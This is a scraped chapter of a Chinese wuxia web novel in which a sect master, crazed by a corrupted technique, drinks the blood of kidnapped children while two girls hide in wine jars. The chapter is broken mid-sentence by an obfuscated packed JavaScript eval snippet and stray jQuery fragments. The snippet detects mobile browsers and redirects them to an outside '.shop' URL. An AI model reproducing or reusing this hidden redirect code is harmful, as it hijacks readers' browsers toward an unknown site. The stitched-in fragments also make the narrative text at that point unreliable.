52. 走火入魔

作品:《刀俎冢

    话说林醒致身处在这铁板之下,已是将院中所发生之事皆听得真切。


    在此庭院之中的各位武林豪杰、男女老少皆因为叶千愁所言的一句话,为了这一块鼓岭血玉争斗起来。


    这一时间整个擂台登时乱作一团,争吵斗狠之声不断传来。


    林醒致仰着头想要再看得清楚些,但直到她整张脸几乎贴到了冰凉的铁板之上时,却仍未能眺望到其他人的身影。


    “这真是倒了大霉了,关在这地宫中,好不容易找到了一条密道,却还被这厚重的铁板拦住。这里如此偏僻,我就是喊破嗓子别人也不能听到······就算听到了,我又能否活下去······”


    就在这时,她手中一直紧紧握住的铁链突然发出一阵剧烈的颤动,紧接着猛地自其手心中不断向下滑去。


    “不好!下面出事了!”


    林醒致心下大惊,她料想这地宫之下定然出现了意外情况。


    那是本来正在望风的薛亭樾急忙拉动铁链,她一个小娃娃,比林醒致还要小上一岁,能挥动这铁链已经属实不易。


    林醒致没有犹豫,抓着这铁链便翻身准备撤回到洞道之中。


    然而,当她双腿刚要搭上这铁链之时,突然脚下一滑,整个人竟沿着铁链直滑而下。任凭林醒致怎样拼命用手指扣住,却也无法停住不断下滑的情势,最终她整个人就这般顺着长长的铁链,一路跌跌撞撞地再度掉落进酒坛之中。


    “噗通!”


    林醒致一下子跌入这一口巨大的酒坛内,身体却也撞到一个软软的东西。她低头一看,正是薛亭樾这小家伙靠在一边,呲牙咧嘴地揉着胳膊,原来她早已经躲到这酒坛之中。


    薛亭樾一边用力揉着肩头,一边嘟着嘴道:“林姐姐,你这一下子可差点给我撞出个好歹来······”


    “知道了,我手脚一滑,就一溜烟掉了下来,你没事吧?”


    “没事没事。”她虽然嘴上说着没事,可一对水汪汪的大眼睛却几乎要泛出泪来。


    林醒致见她这副样子忙道:“你怎么要哭了?到底发生什么事了?我见你拼命挥动这铁链,就知道地宫中一定是出了事情。”


    “我······我听到这后墙的石门有动静,好像好像有人来了,也许我们能从这里出去。”


    其话音刚落,林醒致和薛亭樾二人便即听到,这一面巨大石室后墙上所深嵌的石门,似是在发出“喀拉喀拉”的声响。这动静,分明就是有人在启动机关,正要打开这扇石门。


    方才林醒致爬高之时,便将这些酒坛一一摆放好,不想此时却又将自己装了回去。不过凑巧的是,在如此危机时刻,这一口巨大的酒坛竟反倒成了她二人的避难之所。


    林醒致悄悄将眼睛露出酒坛边缘,看向那缓缓向上移动的石门。她抬头向四周望去,见这周围石壁上的油灯皆已尽数熄灭,唯有右前方角落里还剩下一盏烧得正旺。


    所幸这盏油灯距离她们二人的距离较近,林醒致纵身跃出酒坛,捡起地上一块碎陶片,用力向那油灯的方向掷去。


    但听得“啪”地一声,那一盏明亮的油灯便即熄灭。


    顷刻之间,整间石室变得一片漆黑,伸手不见五指。


    如此一来,这地宫之内异常黑暗,就算有人进来,一时半会儿也难以发现她们的踪迹。等到时机成熟,她们两个便能够抓住机会逃之夭夭。


    林醒致匆忙爬回酒坛之中,同薛亭樾紧紧依靠在一起,却发现这小丫头此时已经吓得浑身发颤,赶忙轻声道:“不要害怕,会没事的,一定会没事的。你一会儿,千万千万不要出声,知道吗?”


    她紧紧握住薛亭樾的手,两只小手握在一起,薛亭樾顿觉自己的紧张已消解了大半,望着林醒致的方向,肯定地点了点头:“知道了。”


    就这样,她二人屏气凝神,静静等待这扇石门缓缓打开。她们不知道,在这扇石门之后的究竟是什么人:是守卫?是弟子还是他们口中的庄主?


    但见石门缓缓升至一半,忽地猛然向上升起,一道黑影自这扇石门之后,跌跌撞撞地跑了进来。


    此人气息沉重,正上气不接下气地大口喘息,像是生了什么急病,此刻已难以忍受。


    “我······我是要当武林盟主的人,我不能中途······出现任何差错!”他一边口中断断续续地说着话,一边摸索着向大厅中央奔来。


    “他是叶千愁?这声音分明就是他。这人不是还在上面主持大会吗,怎么突然跑进了地宫里?”


    林醒致通过此人间断的话语,听出他便是方才还在威风凛凛地主持鉴宝大会的叶大庄主叶千愁。


    “他怎么变成这副样子?莫非遭遇了不测或是突发病症,所以要躲到这地宫里调息运气?”林醒致心道,却对叶千愁状态的突变而大惑不解。


    其实,林醒致这般推测已经将叶千愁的情况猜得是八九不离十,但至于他为什么身体状况急转直下,而是另有一番隐情。


    叶千愁本人的确应该在台上继续主持这鉴宝大会。就因为他的一句话,众人便已经开始竞相争斗,他们争先恐后地想要拔得头筹,将宝玉握在自己的手里。


    但不想,本该在一旁观战的叶千愁却突觉一股汹涌猛烈的真气,自他的丹田之处滚滚袭来,只片刻之间便侵入到他的五脏六腑之中。


    叶千愁满头大汗,为了不让旁人看出端倪,便示意方延度替他留在庭院中继续坐镇,自己则先行潜入密道。


    不过,叶千愁这突如其来的症状并非是“急病”,而是他强练功法所导致的真气逆行。


    多年以前,叶千愁便将自己的姐姐叶千落关在这地宫之中,他的目的便是要从他姐姐的口中得知那“血饕餮诀”的功法。可惜,任凭叶千愁和方延度如何费尽心机地折磨叶千落,叶千落都始终没有说出这内功的心法口诀。


    然而,不幸地是,叶千落在被反复折磨的过程中,神智竟然间接性地出现错乱。她被囚困在这阴暗的地宫之中,不见天日,便时不时开始说些胡话。而就在这些疯言疯语之中,方延度却听到了断断续续的有关血饕餮诀心法的只言片语。他将这些一一记下写在纸上,交给了叶千愁。


    叶千愁因为早就觊觎这普天之下最厉害的内功,如今好不容易得此心法,便开始勤学苦练。


    起初,他修炼初始,其武功修为便大幅精进,短短几年时间功力的增长似是要比他十几年以来修炼的还要多。叶千愁不禁喜出望外,他甚至觉得照如此继续修炼下去,相信不日便可问鼎武林。


    他心道,什么叶千落,什么叶落山庄庄主,他都不屑一顾,待他练成血饕餮诀功法,当了这天下第一,当世便再无人可以与他匹敌。届时,他不光是这叶落山庄历代以来最厉害的庄主,就连中原鼎鼎大名的云麓四盟还有一直想要逐鹿中原的魔教都注定对他俯首称臣。


    但是,他只光顾着做他的春秋大梦,却忽略了一个再寻常不过的细节。那就是,这口诀本就是叶千落神智疯癫之时,脱口而出的零星句子,本就颠三倒四,而他却因贪图功法,反倒轻信方延度,将这错误混乱的口诀铭记于心,进而反复修炼。


    如果说,一开始叶千愁对这断续听来的口诀,尚且心存疑虑,但在功力大涨之后,他便对此口诀深信不疑了。


    叶千愁刚从方延度手中得到此诀之时,还对自己是否要修炼这套口诀而踟蹰不前。毕竟,他知道姐姐的状况,叶千落此时精神错乱,胡话连篇,不清醒的时候说的东西全然不可信。但他却又心存一丝侥幸,毕竟他实在是放不下这能够学得绝世武功的机会。


    “凭什么,凭什么她叶千落便能有这般机缘习得如此神功,而我叶千愁却不可以?”


    久而久之,这份贪心便促使着他不断想起这一套口诀。正是前怕狼,后怕虎,想的越多,耽误的也越多。索性一不做二不休,既然这口诀到手,何不尝试一下,万一成真,自己称霸武林便指日可待了。


    自那之后,叶千愁每每在这地宫之中秘密修炼神功。


    然而,随着修炼的不断深入,近年来他武功每精进一层,身体便要损耗一分,直到他再也无法压制住体内肆虐的真气,才方知自己已经开始走火入魔。


    为了保住自己的性命,也为了继续修习这套功法,他的师弟方延度为他寻来了一位来自于金匮谷的神医。而这位神医的到来,让他的情况有了好转。这是因为此人带来了一张良方,一个能让他压制“邪气”的江湖秘方。


    这方子便是施行一种江湖禁术,抓住既定生辰的童男童女,将他们的血按照毒方淬炼,进而再吸食他们的血液,来压制体内日渐增多的邪气,如此便可避免走火入魔。


    此方法一经提出便即遭到了叶千愁的反对,他叶落山庄向来是武林中的名门正派,他堂堂庄主绝不可做出这等伤天害理的事情。但奈何,他的身体每况愈下,唯有迈出这一步,他才方能博得一线生机。


    故而,叶千愁铤而走险,冒着被其他门派发现的风险,将此事全权交由他所深信的副庄主方延度去办。而方延度则借此打着魔教门派血霄楼的名义,对小门小派威逼利诱,勾结赤龙帮,让他们这些“爪牙”为他抓来了一批又一批的童男童女,以供叶千愁吸血练功。


    可当叶千愁体内的邪气稍微压制不久,便又再次汹涌而至。时间一长,叶千愁为了让自己体内的邪气不再次猖獗,便需要更多的童男童女。如此,江湖上所流传的江洋匪盗窃夺百姓孩子之事也便愈演愈烈。


    现如今,赤龙帮又送过来这一批童男童女,正是能够解叶千愁燃眉之急的“大补之药”,他便也将这些孩子视作自己的救命稻草一般。


    眼下叶千愁一路强撑着身体跑进这座地宫的密道之中,一踏进洞室便“扑通”一声坐倒在地,而后他几乎是依靠爬着才能一点一点地挪动身体,去靠近洞室正中的石坛。其口中正不断发出“哼哧哼哧”如同野兽一般的声音。


    只见,他拖动着身体,爬向那酒坛的方向,随手打开一个酒坛的盖子,从坛中抓出一个尚在昏迷之中的小男孩,一口便向他脖颈之上咬了下去。


    那男孩本来并未苏醒,此时遭叶千愁尖牙猛刺,突然惊醒,口中不住发出凄厉的惨叫。但因为他的喉咙已经被叶千愁一双大手狠狠扼住,很快便再无声息。


    只不一会儿的功夫,这小男孩便垂头耷脑,不再有丝毫挣扎,显然叶千愁已将这男孩的血吸了个干净。


    薛亭樾亲眼所见这突如其来的情形,吓得是浑身发颤,她紧紧与林醒致靠在一起,眼中却仍满是恐惧和害怕,仿佛下一秒这凶神恶煞的人便要置她们于死地。


    林醒致也不敢出声,她又何尝不怕,只是此时若发出半点声音被叶千愁察觉,她们两个定会落得和那男孩一样的下场。


    不可思议的是,这邪功大法果然甚有奇效,方才还几乎寸步难行的叶


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186336|190538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    千愁顷刻之间便可行动自如。


    他呼吸逐渐平缓,大步走向一旁,将挨着的几个酒坛中的孩子全都提了出来,还想要继续大口吸血。


    林醒致听到他的动静,知道他杀了一个孩子还不够,还想要再继续加害,心中暗道:“反正左右都是一死,我不如先引他过来,待他张口之时再用手中的陶片划破他的喉咙!”


    然而,叶千愁见自己一连抓起来的都是几个臭小子,心中甚是不悦,便想要再抓一个女孩过来,张开一只大手竟向远处那几个酒坛伸来。


    他以吸血禁术压制体内四溢的邪气,需要阴阳调和,一阴一阳方能使得体内真气抵御邪气,从而不会继续走火入魔。


    可叶千愁刚一伸手便在半空中触碰到了什么甚为冰冷的东西,发出“叮叮当当”的响声。原来他是碰到了洞道之下悬着的那条铁链。


    猛然间,叶千愁大惊失色,高声喝道:“是谁!是谁在这地宫之中?”


    他声音浑厚有力,已经不似刚才那般呜咽沙哑。


    只可惜,这地宫中四下漆黑,哪怕是叶千愁也只能凭借声音来判断敌人的位置。


    此时,整间洞室之中只回荡着他的怒吼之声,却并无其他人的声音。但叶千愁还是心有不安,恐惧涌上他的心头,他一边不停咒骂着,一边再次向酒坛中伸手而去。


    突然,地宫远处的密道之中又传来一阵急切的脚步声。


    叶千愁此时状态虽大为好转,但因为方才的惊吓,精神尚且紧绷,他赶忙停下,向门口奔去,可还未走到地方便再次跪倒于石台之上。


    他赶忙运气凝神,来抵抗体内逆行真气突如其来的反扑。


    原来,这一阵匆忙而来的脚步声,正是几名弟子护送着身受重伤的副庄主方延度逃入地宫。


    方延度在一片箭雨中左胸中了一箭,性命危在旦夕,在众人的掩护之下才侥幸逃脱魔教妖人的魔爪,成功进入这地宫之中。


    “你们是谁?”叶千愁大声问道。


    “师父!师父!师叔中箭了!我们将他送到这地宫中躲避,这里那些魔教众人是找不到这里的。”


    来人正是叶千愁座下弟子中的二人,李陵和郑理。他二人皆曾奉叶千愁之命前往风云酒肆订过百坛玉华酿,与林醒致也算有过一面之缘。


    可当下林醒致只觉声音耳熟却未能分辨得出。


    “什么?”


    这些弟子向叶千愁一五一十汇报了地面上的情况。他方才得知,想不到自己身体不适偷偷潜入这地宫之中,甫一离开,大会上竟便生出了这般乱子。


    林醒致此时躲在酒坛之内,将他们口中所言听得是一清二楚。


    原来这短短片刻时间,叶落山庄竟发生了如此诡谲之事。


    突然,她脑海中想到一个人:叶明玄!


    他昨日还身体抱恙,今日魔教大举来袭,他若被魔教之人抓住,定是性命难保。林醒致不禁在心中为叶明玄捏了一把汗。


    “求老天保佑,叶公子平安无事!”


    突然,叶千愁高声怒斥道:“他们这些魔教妖人,怎么敢在这个时候袭击我叶落山庄,是吃了熊心豹子胆了吗!”


    “师父,您息怒,事发突然,我们也没有防备,现在上面一片混乱,您和师叔千万不要上去。”


    “我问你们,这些人埋伏在山庄周围,你们,又是怎么探查的消息?”


    “我······我······我们,我们真的没有发现他们的踪迹,师父······”


    这些人被叶千愁恶狠狠地诘问,已经是吓得魂飞魄散,便开始语无伦次,再难回答清楚叶千愁的问题。


    叶千愁听到他精心策划的鉴宝大会,如今全成了泡影,不禁怒火中烧,他猛地抄起身前的空酒坛,向着后墙掷了过去。


    “啪!!”


    那巨大的酒坛在石壁之上摔得粉碎,几名弟子都吓得连忙后退。


    “你们······你们快去保护少庄主!快去!!”叶千愁大声命令弟子,即刻去查看自己儿子的情况。


    他虽然平时对这个小儿子严加管教,但关键时候,他是无论如何不会放下这唯一的儿子的安危于不顾的。


    李陵和郑理以及身后数人,听到师父的命令连忙奔出地宫之外,只留下方延度一人倚靠在墙角。


    过了良久,叶千愁似状态稍缓,他低声道:“师弟,你怎么样了?”


    然而,却听到角落里那人始终一言不发,似是没了动静。


    “师弟!师弟!你还好吗?你胸口中箭,还需忍耐,待我恢复功力,便能出去与这些魔教妖人决一死战!”


    “师弟,你可莫要吓我!”


    叶千愁不断呼喊方延度的名字,那依靠在角落里的人却始终没有回应。他心下大惊,强撑着身体,摸索着爬向方延度所在的角落,准备查看他的情况。


    可就在他伸出手掌,准备向方延度输送真气之时,却顿觉胸口被人猛击一掌,一股强大的内力自这冰冷的掌心穿入他肺腑之中。


    叶千愁在这突如其来的一击之下,猛地腾空而起,向外飞出,直落在数丈之外。他整个人重摔在地,一大口鲜血喷出,再也动弹不得。


    “师······师弟,你······怎会······”


    忽听得地宫之中传来一阵令人胆寒的邪笑之声,那原本蜷缩在角落里的方延度竟然缓缓起身,大步向洞室中央走来。